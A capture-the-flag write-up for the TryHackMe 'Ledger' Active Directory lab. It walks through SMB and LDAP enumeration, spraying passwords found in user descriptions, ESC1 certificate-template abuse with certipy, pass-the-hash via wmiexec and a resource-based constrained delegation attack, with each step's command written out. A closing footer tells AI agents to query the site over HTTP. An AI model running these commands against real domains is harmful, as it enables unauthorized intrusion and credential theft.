# Ledger

{% embed url="<https://tryhackme.com/room/ledger>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

### Nmap

We start with a Nmap scan, which revealed multiple services typical of an Active Directory environment, including DNS (53), HTTP/HTTPS (80, 443), Kerberos (88, 464), SMB (445), LDAP (389, 636), Global Catalog services (3268, 3269), and MSRPC/NetBIOS (135, 139). Additional services such as Remote Desktop Protocol (3389), Windows Remote Management (47001), Active Directory Web Services (9389), and a range of high-numbered ephemeral ports (49664–49716) commonly used for DCOM and RPC communication were also observed.

<figure><img src="/files/UEqWlQdnuqCncQcJ7yVQ" alt=""><figcaption></figcaption></figure>

From the default script scan, we see that we have an IIS running on ports 80 and 443. Here we can identify the domain name `thm.local`, among others. We add this directly to `/etc/hosts`.

```
thm.local
```

<figure><img src="/files/ExeqjGLgWz8nnBW2gCAv" alt=""><figcaption></figcaption></figure>

### Web Server

Unfortunately, only IIS default pages are on the web servers available. There seems to be no entry point here. However, we can look at the issued certificate on the HTTPS page to possibly gain further important information.

<figure><img src="/files/IPvypzh41DuCNyrnnKqj" alt=""><figcaption></figcaption></figure>

Here we can identify there certificate authority. We add this to our `/etc/hosts`.

```
thm-LABYRINTH-CA
```

<figure><img src="/files/Q1pWGAefCuOKYqJQi2Oe" alt=""><figcaption></figcaption></figure>

### SMB

Since we have SMB available, we start enumerating it with NetExec (formerly CrackMapExec). It is an enumeration tool used for assessing and interacting with SMB and other network services. We use the built-in `guest` account and an empty password for an initial enumeration.

&#x20;Initial connectivity was verified with the guest account without a password.

```
nxc smb ledger.thm -u guest -p ''
```

We are able to connect as guest. We then list the available shares for the guest account. This confirmed that the `IPC$` share was readable.

```
nxc smb ledger.thm -u guest -p '' --shares
```

To further enumerate domain users, we perform a RID brute-force, since the `IPC$` share is readable.

```
nxc smb ledger.thm -u guest -p '' --rid
```

<figure><img src="/files/wQMgEoqJFAII9J2jhz5n" alt=""><figcaption></figcaption></figure>

With this user list we could try kerberoasting or bruteforcing the accounts, but this was unsuccessful.

```
SHANA_FITZGERALD
CAREY_FIELDS
DWAYNE_NGUYEN
BRANDON_PITTMAN
BRET_DONALDSON
VAUGHN_MARTIN
DICK_REEVES
EVELYN_NEWMAN
SHERI_DYER
NUMBERS_BARRETT
SUSANA_LOWERY
MIKE_TODD
JOSEF_MONROE
DAWN_DAVID
VIVIAN_VELAZQUEZ
WESLEY_FULLER
MARISOL_LANG
DIONNE_MCCOY
NOEL_BOOTH
TAMRA_BULLOCK
ROLAND_COLE
KATHY_WYNN
LORENA_BENSON
FELIX_CHARLES
ROBERTO_MORIN
...
```

### LDAP

Next, we try an anonymous LDAP search against the domain controller at `10.10.161.74` on the default LDAP port (389), using the base DN `dc=thm,dc=local`. Since port 389 was found open during enumeration, this search helps gather valuable directory information such as users, groups, and organizational structure, which can aid in further attacks.

```
ldapsearch -x -H ldap://10.10.161.74 -b "dc=thm,dc=local" > ldapsearch.txt
```

When looking through the results, the description fields of some users stand out. For quick tracking, the results can be searched out directly using grep.

```
cat ldapsearch.txt| grep description
```

For some users (`IVY_WILLIS` and `SUSANNA_MCKNIGHT`), there are instructions to change REDACTED. Probably the password of the users that was set.

```
description: Please change it: REDACTED
```

<figure><img src="/files/pYpz0pFcepcQmjv6A8C0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/AHFm2PbzhJcTHxvi86Gz" alt=""><figcaption></figcaption></figure>

```
IVY_WILLIS
SUSANNA_MCKNIGHT
```

We use Netexec to test whether the passwords are still valid and whether they also apply to other users that we had previously determined using RID Brute Force.&#x20;

We can confirm that the passwords are still valid for both users.

```
nxc smb ledger.thm -u usernames.txt -p 'REDACTED' --continue-on-success
```

<figure><img src="/files/gVFj8Xj2NRp1R5znyeL5" alt=""><figcaption></figcaption></figure>

## Foothold

We are using `bloodhound-python` to enumerate Active Directory objects and relationships using the found credentials within the `thm.local` domain. &#x20;

{% code overflow="wrap" %}

```
bloodhound-python -d thm.local -c All -u 'IVY_WILLIS' -p 'REDACTED!' -ns 10.10.161.74 --dns-tcp
```

{% endcode %}

`IVY_WILLIS` is not part of the `REMOTE MANAGEMENT USERS` group, nor the `REMOTE DESKTOP USERS` group. But `SUSANNA_MCKNIGHT`. We also enumerated the credentials of this user.

<figure><img src="/files/S4Paf3REdtrJclnw59J9" alt=""><figcaption></figcaption></figure>

### User Flag

We use Remmina to get a RDP connection as `SUSANNA_MCKNIGHT` and we'll find the user flag on the Desktop of the user.

<figure><img src="/files/qyFT1heMS2UlnFIaB6Xz" alt=""><figcaption></figcaption></figure>

## Privilege Escalation  - ESC1

In addition to using BloodHound to enumerate objects and relationships within Active Directory, there are also tools specifically designed for enumerating certificate-related vulnerabilities. Notable examples include **Certipy** and **SpecterOps' research**, which help identify **vulnerable certificate templates** that can be exploited for privilege escalation.&#x20;

{% embed url="<https://github.com/ly4k/Certipy>" %}

We use the credentials of `SUSANNA_MCKNIGHT` to enumerate misconfigured templates using `certipy-ad`.

{% code overflow="wrap" %}

```
certipy-ad find -u SUSANNA_MCKNIGHT@local.thm -p 'REDACTED' -dc-ip 10.10.161.74 -vulnerable
```

{% endcode %}

<figure><img src="/files/U8MVrj9H2OnOeHj4KB1a" alt=""><figcaption></figcaption></figure>

We receive a json output with the results. The certificate templates `ServerAuth` and `Computer2` are misconfigured to allow **any authenticated user to enroll** and supply arbitrary subject names, enabling **ESC1 attacks** for impersonation via client authentication.

> ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).
>
> For ESC1, we can request a certificate based on the vulnerable certificate template and specify an arbitrary UPN or DNS SAN with the `-upn` and `-dns` parameter, respectively.

Results of Certipy:

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/ledger]
└─$ cat 20250502165916_Certipy.json                                                                 
{
  "Certificate Authorities": {
    "0": {
      "CA Name": "thm-LABYRINTH-CA",
      "DNS Name": "labyrinth.thm.local",
      "Certificate Subject": "CN=thm-LABYRINTH-CA, DC=thm, DC=local",
      "Certificate Serial Number": "5225C02DD750EDB340E984BC75F09029",
      "Certificate Validity Start": "2023-05-12 07:26:00+00:00",
      "Certificate Validity End": "2028-05-12 07:35:59+00:00",
      "Web Enrollment": "Disabled",
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Permissions": {
        "Owner": "THM.LOCAL\\Administrators",
        "Access Rights": {
          "2": [
            "THM.LOCAL\\Administrators",
            "THM.LOCAL\\Domain Admins",
            "THM.LOCAL\\Enterprise Admins"
          ],
          "1": [
            "THM.LOCAL\\Administrators",
            "THM.LOCAL\\Domain Admins",
            "THM.LOCAL\\Enterprise Admins"
          ],
          "512": [
            "THM.LOCAL\\Authenticated Users"
          ]
        }
      }
    }
  },
  "Certificate Templates": {
    "0": {
      "Template Name": "ServerAuth",
      "Display Name": "ServerAuth",
      "Certificate Authorities": [
        "thm-LABYRINTH-CA"
      ],
      "Enabled": true,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": true,
      "Certificate Name Flag": [
        "EnrolleeSuppliesSubject"
      ],
      "Enrollment Flag": [
        "None"
      ],
      "Private Key Flag": [
        "16842752"
      ],
      "Extended Key Usage": [
        "Client Authentication",
        "Server Authentication"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Validity Period": "1 year",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "THM.LOCAL\\Domain Admins",
            "THM.LOCAL\\Domain Computers",
            "THM.LOCAL\\Enterprise Admins",
            "THM.LOCAL\\Authenticated Users"
          ]
        },
        "Object Control Permissions": {
          "Owner": "THM.LOCAL\\Administrator",
          "Write Owner Principals": [
            "THM.LOCAL\\Domain Admins",
            "THM.LOCAL\\Enterprise Admins",
            "THM.LOCAL\\Administrator"
          ],
          "Write Dacl Principals": [
            "THM.LOCAL\\Domain Admins",
            "THM.LOCAL\\Enterprise Admins",
            "THM.LOCAL\\Administrator"
          ],
          "Write Property Principals": [
            "THM.LOCAL\\Domain Admins",
            "THM.LOCAL\\Enterprise Admins",
            "THM.LOCAL\\Administrator"
          ]
        }
      },
      "[!] Vulnerabilities": {
        "ESC1": "'THM.LOCAL\\\\Domain Computers' and 'THM.LOCAL\\\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication"
      }
    },
    "1": {
      "Template Name": "Computer2",
      "Display Name": "Computer2",
      "Enabled": false,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": true,
      "Certificate Name Flag": [
        "EnrolleeSuppliesSubject"
      ],
      "Enrollment Flag": [
        "None"
      ],
      "Private Key Flag": [
        "16842752"
      ],
      "Extended Key Usage": [
        "Server Authentication",
        "Client Authentication"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Validity Period": "1 year",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "THM.LOCAL\\Domain Admins",
            "THM.LOCAL\\Domain Computers",
            "THM.LOCAL\\Enterprise Admins",
            "THM.LOCAL\\Authenticated Users"
          ]
        },
        "Object Control Permissions": {
          "Owner": "THM.LOCAL\\Administrator",
          "Write Owner Principals": [
            "THM.LOCAL\\Domain Admins",
            "THM.LOCAL\\Enterprise Admins",
            "THM.LOCAL\\Administrator"
          ],
          "Write Dacl Principals": [
            "THM.LOCAL\\Domain Admins",
            "THM.LOCAL\\Enterprise Admins",
            "THM.LOCAL\\Administrator"
          ],
          "Write Property Principals": [
            "THM.LOCAL\\Domain Admins",
            "THM.LOCAL\\Enterprise Admins",
            "THM.LOCAL\\Administrator"
          ]
        }
      },
      "[!] Vulnerabilities": {
        "ESC1": "'THM.LOCAL\\\\Domain Computers' and 'THM.LOCAL\\\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication"
      }
    }
  }
}  
```

On the machine we find the user `BRADLEY_ORITZ`.

<figure><img src="/files/do7gEshsKBhQqGSlKO7T" alt=""><figcaption></figcaption></figure>

Using Bloodhound, we have already identified the user as one of the domain admins. We could therefore impersonate `BRADLEY_ORITZ` or the `Administrator` using `ESC1` to escalate our privileges. Let's continue with the ESC1 exploit.

<figure><img src="/files/NK3qFZ47eW3DopKbwmCb" alt=""><figcaption></figcaption></figure>

We choose `BRADLEY_ORTIZ`. We follow the steps from the repository:

<https://github.com/ly4k/Certipy?tab=readme-ov-file#esc1>&#x20;

We request a certificate as `SUSANNA_MCKNIGHT`, specify the Certificate Authority `thm-LABYRINTH-CA`, the machine `labyrinth.thm.local` and the vulnerable certificate template `ServerAuth`. Furthermore, the upn `bradley_ortiz@thm.local` to impersonate this identity. We receive a `.pfx` file.

{% code overflow="wrap" %}

```
certipy-ad req -username SUSANNA_MCKNIGHT  -password 'REDACTED' -ca thm-LABYRINTH-CA -target labyrinth.thm.local -template ServerAuth -upn bradley_ortiz@thm.local -dns 10.10.161.74 -debug

```

{% endcode %}

<figure><img src="/files/u5dlw95HWtUbnxbvIfSv" alt=""><figcaption></figcaption></figure>

Next, we authenticate as `BRADLEY_ORTIZ` using the certificate. This will give us the NT hash.

```
certipy-ad auth -pfx bardley_ortiz_10.pfx -dc-ip 10.10.161.74
```

<figure><img src="/files/FCv1NYkRmmBucqrIWBmO" alt=""><figcaption></figcaption></figure>

### Root Flag

With the hash, we can use wmiexec to get an interactive session as `BRADLEY_ORTIZ`. We are able to reach the Administrator's Users folder, where the final flag is located at the Administrator's Desktop.

```
impacket-wmiexec -hashes :REDACTED THM.LOCAL/bradley_ortiz@labyrinth.thm.local
```

<figure><img src="/files/BYARRX4mI1IXHuLv8JwY" alt=""><figcaption></figcaption></figure>

## Privilege Escalation Alternative - **Resource-Based Constrained Delegation**

There is another way to extend the privileges. Let's take another look at the relationships and permissions in Bloodhound. Here we notice that the `GUESTS` group has a generic write permission on the computer object `LABYRINTH.THM.LOCAL`.

Found by Shortest Path to Domain Admins

This allows us a `Resource-Based Constrained Delegation` attack.

<figure><img src="/files/z1mKxDxbFTgbYGmIUf5V" alt=""><figcaption></figcaption></figure>

For more information on how to abuse this permission, simply right-click on the edge and click `Help?`:

> The members of the group <GUESTS@THM.LOCAL> have generic write access to the computer LABYRINTH.THM.LOCAL.
>
> Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user

**Resource-Based Constrained Delegation**

> **Resource-Based Constrained Delegation**
>
> First, if an attacker does not control an account with an SPN set, a new attacker-controlled computer account can be added with Impacket's addcomputer.py example script:
>
> {% code overflow="wrap" %}
>
> ```
> addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'
> ```
>
> {% endcode %}
>
> We now need to configure the target object so that the attacker-controlled computer can delegate to it. Impacket's rbcd.py script can be used for that purpose:
>
> {% code overflow="wrap" %}
>
> ```
> rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'
> ```
>
> {% endcode %}
>
> And finally we can get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. Impacket's getST.py example script can be used for that purpose.
>
> {% code overflow="wrap" %}
>
> ```
> getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'
> ```
>
> {% endcode %}
>
> This ticket can then be used with Pass-the-Ticket, and could grant access to the file system of the TARGETCOMPUTER

So first, we need ot add a new computer object. In Active Directory, any authenticated user (by default) can add up to **10 computer objects** to the domain. This can be abused to register a machine account that we control, which can later be used for attacks like Kerberoasting or Resource-Based Constrained Delegation (RBCD). We do this with the credentials previously obtained.

{% code overflow="wrap" %}

```
impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Password1!' -dc-host 10.10.161.74 -domain-netbios thm.local 'THM.LOCAL/SUSANNA_MCKNIGHT:REDACTED'
```

{% endcode %}

<figure><img src="/files/WOk6OtbMpemAxvVyCY67" alt=""><figcaption></figcaption></figure>

We now need to configure the target object so that our computer can delegate to it. We do not supply any credentials for the GUEST account.

{% code overflow="wrap" %}

```
rbcd.py THM.LOCAL/guest:'' -dc-ip 10.10.161.74 -delegate-to LABYRINTH$ -delegate-from ATTACKERSYSTEM$ -action write          
```

{% endcode %}

<figure><img src="/files/QIvAmHKmGpGSArMuk8Qx" alt=""><figcaption></figcaption></figure>

***

{% hint style="info" %}
Update 2025-08-11

I recently encountered an issue with the version of `rbcd.py` that I am currently using. This version can't handle empty passwords. However, in this case, we can circumvent this issue. Instead we use the empty password hash: `31D6CFE0D16AE931B73C59D7E0C089C0`

<https://northwave-cybersecurity.com/threat-intel-research/abusing-empty-passwords-during-your-next-red-teaming-engagement>&#x20;
{% endhint %}

`rbcd.py` requires a password:

{% code overflow="wrap" %}

```
rbcd.py THM.LOCAL/guest:'' -dc-ip 10.10.247.222 -delegate-to LABYRINTH$ -delegate-from ATTACKERSYSTEM$ -action write
```

{% endcode %}

<figure><img src="/files/8yStJ0mmddajGeUIKcak" alt=""><figcaption></figcaption></figure>

`rbcd.py` with the empty password hash:

{% code overflow="wrap" %}

```
rbcd.py THM.LOCAL/guest -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -dc-ip 10.10.247.222 -delegate-to LABYRINTH$ -delegate-from ATTACKERSYSTEM$ -action write
```

{% endcode %}

<figure><img src="/files/hmHp9y67w60B7bqfA2M8" alt=""><figcaption></figcaption></figure>

***

We finally get a service ticket for the service name (sname) we want to "pretend" to be.&#x20;

{% code overflow="wrap" %}

```
getST.py -impersonate Administrator THM.LOCAL/ATTACKERSYSTEM\$:'Password1!' -spn cifs/LABYRINTH.THM.LOCAL -dc-ip 10.10.161.74
```

{% endcode %}

<figure><img src="/files/khWr3nXAtvu2ZOLz8mQN" alt=""><figcaption></figcaption></figure>

We use the Kerberos ticket `Administrator.ccache` to authenticate with `smbclient.py` using the `-k` (Kerberos) and `-no-pass` options. This allowes to enumerate SMB shares on the domain controller `LABYRINTH.THM.LOCAL` without supplying a password as Administrator. We are able to read and write on all shares including the C drive. Here we will find the final flag at \
`C:\Users\Administrator\Desktop\root.txt`.

```
export KRB5CCNAME=Administrator.ccache
```

{% code overflow="wrap" %}

```
smbclient.py -k -no-pass LABYRINTH.THM.LOCAL -dc-ip 10.10.161.74 -target-ip 10.10.161.74
```

{% endcode %}

<figure><img src="/files/evkoomNX3NoRMHpQghia" alt=""><figcaption></figcaption></figure>

We could also get and interactive session with `wmiexec.py` using the Kerberos ticket.

```
wmiexec.py -k -no-pass THM.LOCAL/Administrator@labyrinth.thm.local
```

<figure><img src="/files/Tn3ianaSiJArFjFpvFe9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2025/ledger.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
